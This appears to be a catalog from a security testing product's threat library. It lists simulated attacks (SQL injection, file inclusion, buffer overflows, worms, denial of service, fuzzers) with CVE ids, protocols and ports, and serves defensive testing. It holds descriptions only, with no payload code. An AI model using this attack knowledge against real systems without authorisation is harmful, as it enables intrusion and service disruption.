Executive Description:	Okul Web Otomasyon Sistemi 4.0.1 Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Okul Web Otomasyon Sistemi is a web application that typically listens on port 80. (IPv6 Version)

Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130709-19_Microsoft_Silverlight_Null_Pointer_Dereference_Code_Execution.xml
Executive Description:	Microsoft Silverlight Null Pointer Dereference Code Execution
Detailed Description:	A null pointer dereference vulnerability exists in Microsoft Silverlight. This vulnerability is caused when Silverlight improperly handles a dereference to a null pointer. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the context of the currently logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged on user. If such an attack is not successful, the vulnerable application may terminate abnormally. The vendor, Microsoft, claims that the vulnerability can be exploitable to allow execution of arbitrary code. Research conducted by TELUS Security Labs did not find any evidence substantiating this claim.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-3178
OSVDB:	94958
Threat File Name:	vnc_authbypass_IPv6.xml
Executive Description:	RealVNC Authentication Bypass Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted VNC packet which contains the message declaring the "NULL" authentication method, bypassing the authentication for the target machine. VNC is a remote administration application which typically listens on port 5800 (IPv6 Version)
Protocol Type:	VNC/IPv6
Threat Package:	Standard
Threat File Name:	efiction_sqli_c_IPv6.xml
Executive Description:	eFiction viewstory.php SQL Insertion (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query that is executed by the server. eFiction is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4169
OSVDB:	21120
Threat File Name:	peoplebook_rfi_IPv6.xml
Executive Description:	Peoplebook Mambo Component Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the Peoplebook component which allows a malicious user to include commands in the context of the vulnerable web server. Mambo is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170209-08_Trend_Micro_Control_Manager_ProductTree_RightWindow_XML_External_Entity_Processing.xml
Executive Description:	Trend Micro Control Manager ProductTree_RightWindow XML External Entity Processing
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in ProductTree_RightWindow.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS
Threat File Name:	santyb2_IPv6.xml
Executive Description:	Santy.B phpBB worm 2 (IPv6 Version)
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	unclassified_rfi_IPv6.xml
Executive Description:	Unclassified NewsBoard ABBC.CSS.PHP Local File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which includes a path via abbc.css.php's "design_path" parameter. this file is included in the returned page. Unclassified Newsboard is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2405
OSVDB:	25494
Threat Package:	Standard
Threat File Name:	FSC20070710-11_Microsoft_Windows_Active_Directory_Crafted_LDAP_Request_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Active Directory Crafted LDAP Request Buffer Overflow
Detailed Description:	There exists a heap overflow vulnerability in the way Microsoft Windows Active Directory handles LDAP messages. The vulnerability is due to lack of validation for entry length in the LDAP modify message. Remote unauthenticated attackers can exploit this vulnerability to inject and execute arbitrary code on the affected target with System level privileges.
Protocol Type:	LDAP
CVEID:	CVE-2007-0040
Threat Package:	Standard
Threat File Name:	TSL20141107-01_Visual_Mining_NetCharts_Server_Admin_Console_Arbitrary_File_Upload.xml
Executive Description:	Visual Mining NetCharts Server Admin Console Arbitrary File Upload

Detailed Description:	An arbitrary file upload vulnerability has been reported in Visual Mining NetCharts Server. The vulnerability exists in the Admin console and is due to insufficient validation of filename during the upload process. A remote attacker can exploit this vulnerability to execute arbitrary code on the affected system by uploading arbitrary files to certain locations. The remote attacker must be authenticated prior to exploiting the vulnerability, however default credentials can be used in order to by-pass the authentication. Tester should set variable \$destPort to 8001 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-8516
OSVDB:	114127
Threat File Name:	sphpBlog_password_IPv6.xml
Executive Description:	Simple PHP Blog Password File Download (IPv6 Version)
Detailed Description:	This threat attempts to download the password configuration file stored in an accessible directory by Simple PHP Blog. Allows an attacker to gain administrative access to the blogging application. This threat affects a web application, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2192
OSVDB:	17779
Threat Package:	Standard
Threat File Name:	FSC20081003-05_mIRC_PRIVMSG_Message_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	mIRC PRIVMSG Message Processing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in mIRC. The flaw is due to insufficient input validation when processing PRIVMSG IRC messages. A remote attacker may exploit this vulnerability by persuading the target user to connect to a malicious IRC server. Successful attack could allow for arbitrary code injection and execution with privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	MIRC/IPv6
CVEID:	CVE-2008-4449
Threat Package:	Standard
Threat File Name:	TSL20160913-33_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3325_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3325 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper handling of objects in memory. A remote attacker can exploit this vulnerability by enticing the victim to visit a maliciously controlled web server. Successful exploitation could allow the attacker to gain sensitive information.
Protocol Type:	HTTP
CVEID:	CVE-2016-3325
Threat File Name:	firefoxDOS_IPv6.xml
Executive Description:	Firefox Function(){} Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends a malicious piece of Javascript which will cause Mozilla Firefox and related browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2114
OSVDB:	17696
Threat Package:	Standard
Threat File Name:	TSL20130108-18_Mozilla_Firefox_XMLSerializer_Use_After_Free.xml
Executive Description:	Mozilla Firefox XMLSerializer Use After Free
Detailed Description:	A code execution vulnerability exists in Mozilla Firefox. The vulnerability is caused by a use-after-free error when processing script code making use of the XMLSerializer function. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3
CVEID:	CVE-2013-0753
OSVDB:	89021
Threat File Name:	TSL20110822-03_Google_Chrome_and_Apple_Safari_Display_Box_Rendering_Memory_Corruption.xml
Executive Description:	Google Chrome and Apple Safari Display Box Rendering Memory Corruption
Detailed Description:	A code execution vulnerability exists in the WebKit tool used by Apple Safari and Google Chrome. The vulnerability is due to a memory corruption while handling display boxes. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious web site. This can lead to memory corruption and the possibility of code execution in the context of the affected user. If code execution is unsuccessful, the application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2818
Threat File Name:	nimda10.xml
Executive Description:	Nimda Request URL 10
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080929-14_MPlayer_Real_Demuxer_stream_read_Heap_Overflow.xml
Executive Description:	MPlayer Real Demuxer stream_read Heap Overflow
Detailed Description:	There exists a heap overflow vulnerability in MPlayer. The flaw is due to insufficient input validation when processing Real Media files. A remote attacker may exploit this vulnerability by persuading the target user to open a malicious Real Media file. Successful attack could allow for arbitrary code injection and execution with privileges of the currently logged on user. In a successful attack, arbitrary code is supplied and executed on the vulnerable target host. The behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious RealMedia file.

Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-3827
Threat Package:	Standard
Threat File Name:	sonicwall_ssl-vpn_activex_IPv6.xml
Executive Description:	SonicWall SSL-VPN NeLaunchCtrl ActiveX Control Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in SonicWall SSL-VPN ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5815
Threat Package:	Standard
Threat File Name:	FSC20100319-04_Mozilla_Multiple_Products_JavaScript_String_Replace_Buffer_Overflow_IPv6.xml
Executive Description:	Mozilla Multiple Products JavaScript String Replace Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Mozilla Firefox and SeaMonkey products. The vulnerability is due to improper processing of a crafted substring when performing the replace operation in Javascript. Remote attacker can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation of this vulnerability can lead to arbitrary code execution with the privileges of the logged in user. In case of an unsuccessful attack, the web browser will terminate abnormally.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2009-3075
Threat Package:	Standard
Threat File Name:	FSC20070921-19_CA_BrightStor_ARCServe_Backup_LGServer_Authentication_Username_Overflow.xml
Executive Description:	CA BrightStor ARCServe Backup LGServer Authentication Username Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in CA BrightStor ARCServe Backup for Laptops and Desktops. The vulnerability is due to insufficient bounds checking in the LGServer process while performing authentication of users. A remote unauthenticated attacker could exploit this vulnerability by sending an overly large user name to the vulnerable service, and could inject and execute arbitrary code with System privileges.
Protocol Type:	SSDP
CVEID:	CVE-2007-5003
Threat Package:	Standard
Threat File Name:	TSL20091106-03_Google_Chrome_Multiple_File_Type_Security_Bypass_IPv6.xml
Executive Description:	Google Chrome Multiple File Type Security Bypass(IPv6 Version)
Detailed Description:	A security bypass vulnerability exists in Google Chrome. The vulnerability is due to a design weakness within Chrome's automatic download navigation component. A remote attacker could exploit this vulnerability by enticing a target user to visit a malicious web page using the affected application. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user.
Protocol Type:	IPV6,HTTP,HTTPS,FTP
Threat File Name:	FSC20090826-12_Oracle_Database_REPCAT_RPC.VALIDATE_REMOTE_RC_SQL_Injection.xml
Executive Description:	Oracle Database REPCAT_RPC.VALIDATE_REMOTE_RC SQL Injection
Detailed Description:	An SQL injection vulnerability has been reported in Oracle Database server. The vulnerability is due to an input validation error in function VALIDATE_REMOTE_RC of the package DBMS_REPCAT_RPC. Remote authenticated attackers having Create Session privileges can exploit this vulnerability to inject and execute malicious SQL commands on the target server. Successful exploitation of this vulnerability would allow non-privileged users to execute arbitrary SQL commands with the elevated privileges of the SYS user. As a result of this, attackers may disclose sensitive data or compromise integrity of the data.
Protocol Type:	iSQL/TNS/TCPs
CVEID:	CVE-2009-1021
Threat Package:	Standard
Threat File Name:	TSL20140812-18_Microsoft_Internet_Explorer_CVE-2014-4063_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-4063 Use After Free
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code.A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-4063
OSVDB:	109966
Threat File Name:	psnews_rfi.xml
Executive Description:	PsNews 1.1 (show.php newspath) Local File Inclusion
Detailed Description:	This threat sends a HTTP request for a URL that will allow for arbitrary code to be executed on the affected server. PsNews is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fprot_chm_dos.xml
Executive Description:	F-PROT Antivirus CHM File Heap Buffer Overflow Vulnerability.
Detailed Description:	This threat leverages a flaw in F-PROT Antivirus's handling of CHM files leading to a denial of service condition. F-PROT Antivirus is a client application that scans for malicious software from varied locations. This threat uses a web server typically listening on port 80 as a transmission vector.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	vlc_fmt_ppc_IPv6.xml
Executive Description:	VLC Media Player UDP URL Handler Format String Vulnerability (PPC) (IPv6 Version)

Detailed Description:	This threat simulates a client requesting a media file, and the server replying with a maliciously constructed m3u file. This file will trigger a format string vulnerability in the UDP URL handler in the popular VLC media player. The transport of the m3u file is done via HTTP, which generally runs on port 80. The payload of this threat is for PPC based Macs. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0017
Threat Package:	Standard
Threat File Name:	TSL20150611-03_Apple_CUPS_Web_Interface_URL_Handling_Cross_Site_Scripting.xml
Executive Description:	Apple CUPS Web Interface URL Handling Cross-Site Scripting
Detailed Description:	A cross-site scripting vulnerability exists in the Apple CUPS Web Interface. The vulnerability is due to insufficient input validation while handling HTTP requests. A remote attacker can exploit this vulnerability by enticing a user to click on a link containing script code in the URL. Successful exploitation will result in the attacker-controlled script code being executed in the security context of the target user's browser session. Tester should set the variable \$destPort to 631 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1159
Threat File Name:	php_livehelper_rfi_IPv6.xml
Executive Description:	PHP Live Helper Global.PHP Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHP Live Helper is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	nodemanager_IPv6.xml
Executive Description:	NodeManager Buffer Overflow Attack (IPv6 Version)
Detailed Description:	This threat sends a buffer overflow targeted at the NodeManager SNMP daemon, attempting to gain a remote shell. SNMP typically listens on UDP port 161. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2005-0185
OSVDB:	13027
Threat Package:	Standard
Threat File Name:	eCentrex_voip_activex_bof_IPv6.xml
Executive Description:	eCentrex VOIP Client module (uacomx.ocx 2.0.1) Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the eCentrex VOIP Client UACOMX.OCX ActiveX Control, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4489
Threat Package:	Standard
Threat File Name:	phpraid_cmi_b_IPv6.xml
Executive Description:	phpRaid Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted url containing a local or remote path to PHP or HTML via auth.php "phpbb_root_path" parameter which is included by the server allowing arbitrary remote code execution. phpRaid is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	TSL20150226-06_PHP_DateTimeZone_Object_timezone_Unserialize_Type_Confusion_IPv6.xml
Executive Description:	PHP DateTimeZone Object timezone Unserialize Type Confusion IPv6 version.
Detailed Description:	A code execution vulnerability has been reported in PHP. The vulnerability is due to a type confusion error when handling serialized DateTimeZone objects within the unserialize() function. A remote attacker can exploit the vulnerability by sending crafted serialized data to a web application running a vulnerable version of PHP. A successful attack will result in remote code execution under the context of the service running PHP.
Protocol Type:	HTTP/HTTPS.IPV6
Threat File Name:	lupper26_IPv6.xml
Executive Description:	Lupper Worm 26 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20140623-05_Samba_nmbd_sys_recvfrom_Infinite_Loop_Denial_of_Service.xml
Executive Description:	Samba nmbd sys_recvfrom Infinite Loop Denial of Service
Detailed Description:	A denial of service vulnerability exists in Samba nmbd daemon. The vulnerability is due to an error when handling crafted NetBIOS packets that causes nmbd to enter an infinite loop. A remote unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation could lead to a denial of service condition on the server. Tester should turn variable \$destPort into 137 before test.
Protocol Type:	NBNS
CVEID:	CVE-2014-0244
OSVDB:	108348
Threat File Name:	TSL20130409-07_Microsoft_Windows_Remote_Desktop_Client_ActiveX_Control_Use_After_Free.xml
Executive Description:	Microsoft Windows Remote Desktop Client ActiveX Control Use After Free

Detailed Description:	A code execution vulnerability exists in the Microsoft Remote Desktop Client ActiveX control mstscax.dll. The vulnerability is due to a use-after-free error when handling specially crafted HTML web pages. This vulnerability can be exploited by remote attackers by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1296
OSVDB:	92122
Threat File Name:	asterisk_chan_skinny_dos.xml
Executive Description:	Asterisk < 1.2.22 / 1.4.8 / 2.2.1 chan_skinny Remote Denial of Service Vulnerability
Detailed Description:	This threat sends crafted packet, which results in an "overly large memcopy." in the Skinny channel driver (chan_skinny) in Asterisk. The packet is sent to a vulnerable Asterisk appliance on port 2000.
Protocol Type:	RTP
CVEID:	CVE-2007-3764
Threat Package:	Standard
Threat File Name:	ie_popup_IPv6.xml
Executive Description:	IE Popup Title Bar Spoofing (IPv6 Version)
Detailed Description:	This threat causes an IE popup to display the incorrect location of a website, which can be used to fool an end user into divulging sensitive information to a third party, such as usernames and logins. This issue affects all recent versions of Internet Explorer. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0500
OSVDB:	14025
Threat Package:	Standard
Threat File Name:	evoBB_rfi_IPv6.xml
Executive Description:	evoBB <= v0.3 (path) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. EvoBB is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5087
Threat Package:	Standard
Threat File Name:	magiciso_rheapoverflow.xml
Executive Description:	Magic ISO Maker Cue File Stack Buffer Overflow Vulnerability
Detailed Description:	This threat uses an emulated web server to deliver a specially crafted .CUE file what when opened with MagicISO versions 5.4 and earlier, that will result in the execution of code or denial of service. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2761
Threat Package:	Standard
Threat File Name:	TSL20151209-16_Schneider_Electric_ProClima_FlBookView_CopyRange_SwapTables_Memory_Corruption.xml
Executive Description:	Schneider Electric ProClima FlBookView CopyRange SwapTables Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the <italic>CopyRange()</italic> and <italic>SwapTables()</italic> methods of the <italic>FlBookView</italic> ActiveX control, in which a user-supplied integer is interpreted as a memory address. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2015-8561
Threat File Name:	FSC20090930-06_IBM_Installation_Manager_iim_URI_Handling_Code_Execution.xml
Executive Description:	IBM Installation Manager iim URI Handling Code Execution
Detailed Description:	An argument injection vulnerability has been reported in IBM Installation Manager. The vulnerability is due to insufficient checks when parsing iim:// URIs that could allow execution of arbitrary remote programs. A remote attacker can exploit this vulnerability by enticing the target user to open a HTML file that contains a crafted iim:// URI, which could lead to execution of arbitrary programs on the target. In a successful attack, where an arbitrary program is downloaded and executed on the vulnerable host, the behaviour of the target system is dependent on the malicious program. Any code executed by the attacker runs with the privileges of the logged in user.
Protocol Type:	HTTP/HTTPS/SMB/CIFS
Threat Package:	Standard
Threat File Name:	piecartpro_incdird_rfi_IPv6.xml
Executive Description:	Pie Cart Pro => (Inc_Dir) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Pie Cart Pro is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	Netbios_UDP_DOS_IPv6.xml
Executive Description:	NetBIOS Denial of Service (WinNuke) (IPv6 Version)
Detailed Description:	This threat sends a large amount of data at UDP port 137. Causes older implementations of Microsoft Windows to use 100% CPU and crash the NetBIOS service. (IPv6 Version)
Protocol Type:	NETBIOS_NS/IPv6
CVEID:	CVE-1999-0153
OSVDB:	1666
Threat Package:	Standard
Threat File Name:	FSC20081204-16_Sun_Java_Runtime_Environment_Pack200-Decompression_Integer_Overflow_IPv6.xml
Executive Description:	Sun Java Runtime Environment Pack200 Decompression Integer Overflow (IPv6 Version)

Detailed Description:	There exists an integer overflow vulnerability in Sun Java Runtime Environment software. The vulnerability is due to insufficient validation while decompressing Pack200 (jar.pack.gz) files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted HTML file. Successful exploitation may lead to arbitrary code execution on the target. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-5352
Threat Package:	Standard
Threat File Name:	bbace_rfi.xml
Executive Description:	BBaCE Functions.php Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.BBaCE is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090406-11_Novell_Client_NetIdentity_Agent_Remote_Arbitrary_Pointer_Dereference_Code_Execution.xml
Executive Description:	Novell Client NetIdentity Agent Remote Arbitrary Pointer Dereference Code Execution
Detailed Description:	A code execution vulnerability exists in Novell Client NetIdentity Agent. The flaw is due to insufficient sanity check when processing crafted RPC messages. An attacker could exploit this vulnerability by sending a specially crafted RPC message to the affected service. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the System user. In an attack case where code injection is not successful, the application might terminate abnormally creating a denial of service condition.
Protocol Type:	SMB
CVEID:	CVE-2009-1350
Threat Package:	Standard
Threat File Name:	dumb_remoteheapoverflow_IPv6.xml
Executive Description:	DUMB "it_read_envelope()" Function Buffer Overflow (IPv6 Version)
Detailed Description:	This threat uses a http server reply to send a malicious ".it" (Impulse Tracker) file leveraging a heap overflow vulnerability in Dynamic Universal Music Bibliotheque (DUMB) 0.9.3. DUMB 0.9.3 is an open source player library for the IT, XM, S3M and MOD file formats. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3668
OSVDB:	27340
Threat Package:	Standard
Threat File Name:	nodemanager.xml
Executive Description:	NodeManager Buffer Overflow Attack
Detailed Description:	This threat sends a buffer overflow targeted at the NodeManager SNMP daemon, attempting to gain a remote shell. SNMP typically listens on UDP port 161.
Protocol Type:	SNMP
CVEID:	CVE-2005-0185
OSVDB:	13027
Threat Package:	Standard
Threat File Name:	phpclassifieds_rfi_IPv6.xml
Executive Description:	PHP Classifieds CatID Parameter SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Php Classifieds is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5208
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_MAIL_formats.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_MAIL_formats.xml
Detailed Description:	Fuzzes Mode field by appending %s to mail with ranging sizes. OpCode is RRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	ftp_buffer_overflow_513_IPv6.xml
Executive Description:	FTP Buffer Overflow [513] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [513 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130903-09_Kingsoft_Writer_Font_Names_Buffer_Overflow_IPv6.xml
Executive Description:	Kingsoft Writer Font Names Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Kingsoft Writer. The vulnerability is due to an error while handling font names in WPS or Office word files. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to download and process a malicious file with a vulnerable version of the application. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-3934
OSVDB:	96312
Threat File Name:	sipbadbranch_IPv6.xml
Executive Description:	SIPPING: No Additional Branch Identifier (IPv6 Version)

Detailed Description:	This threat sends out a SIP OPTIONS message with no additional branch identifier after the RFC 3261 required part. This is acceptable for RFC 2543 compliance, but may confuse or crash newer SIP implementations that aren't expecting this behavior. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20060707-14_Microsoft_Word_mso.dll_LsCreateLine_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word mso.dll LsCreateLine Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the dynamically-linked library mso.dll which is shipped with Microsoft Word. The flaw is caused by an improper check when processing data in Microsoft Word documents. An attacker may exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070531-04_Mozilla_Products_Overflow_Event_Handling_Memory_Corruption.xml
Executive Description:	Mozilla Products Overflow Event Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw is due to improper data protection when handling the "overflow" and "underflow" DOM events raised by specific document layout changes. Successful exploitation of this issue can cause a denial of service condition and may allow remote attackers to execute arbitrary code in the context of the target browser.
Protocol Type:	HTTP
CVEID:	CVE-2007-2867
Threat Package:	Standard
Threat File Name:	TSL20140211-24_Microsoft_Internet_Explorer_CVE-2014-0274_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0274 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0274
OSVDB:	103173
Threat File Name:	TSL20141111-25_Microsoft_Windows_SChannel_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows SChannel Buffer Overflow IPv6 version.
Detailed Description:	A remote code execution vulnerability exists in Microsoft SChannel. The vulnerability is due to improper processing of specially crafted packets that leads to a buffer overflow. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to the target machine. Successful exploitation could result in arbitrary code execution on the affected system. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/SSL/HTTPS/SMTP/SMTPS.IPV6
CVEID:	CVE-2014-6321
OSVDB:	114506
Threat File Name:	ms_vdt70_dll_activex_bof.xml
Executive Description:	Microsoft Visual 6 VDT70.DLL Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the VDT Database Designer VDT70.DLL ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4254
Threat Package:	Standard
Threat File Name:	andonet_blog_sqli_IPv6.xml
Executive Description:	AndoNET Blog SQL injection in comentarios.php via the "entrada" variable. (IPv6 Version)
Detailed Description:	This threat sends a crafted url containing an arbitrary SQL query which is executed by the server. Ando Blog is a web based application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	TSL20111213-08_Microsoft_Publisher_Array_Indexing_Memory_Corruption.xml
Executive Description:	Microsoft Publisher Array Indexing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office. The vulnerability is due to an index boundary error while parsing Microsoft Publisher files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Publisher file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,FTP
CVEID:	CVE-2011-3410
Threat File Name:	afp_dos_IPv6.xml
Executive Description:	Apple File Server Integer Overflow (IPv6 Version)
Detailed Description:	This threat causes an integer overflow in the Apple File Server daemon. This creates a denial of service condition, preventing legitimate users from sharing files. The Apple File Server typically listens on port 548. (IPv6 Version)
Protocol Type:	AFP/IPv6
CVEID:	CVE-2005-0340
OSVDB:	13780
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_WRQ_OCTET_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRQ_OCTET_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %s to octet with ranging sizes. OpCode is WRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing

Threat File Name:	TSL20170217-06_Trend_Micro_Control_Manager_Widget_importFile.php_Directory_Traversal_IPv6.xml
Executive Description:	Trend Micro Control Manager Widget importFile.php Directory Traversal (IPv6 Version)
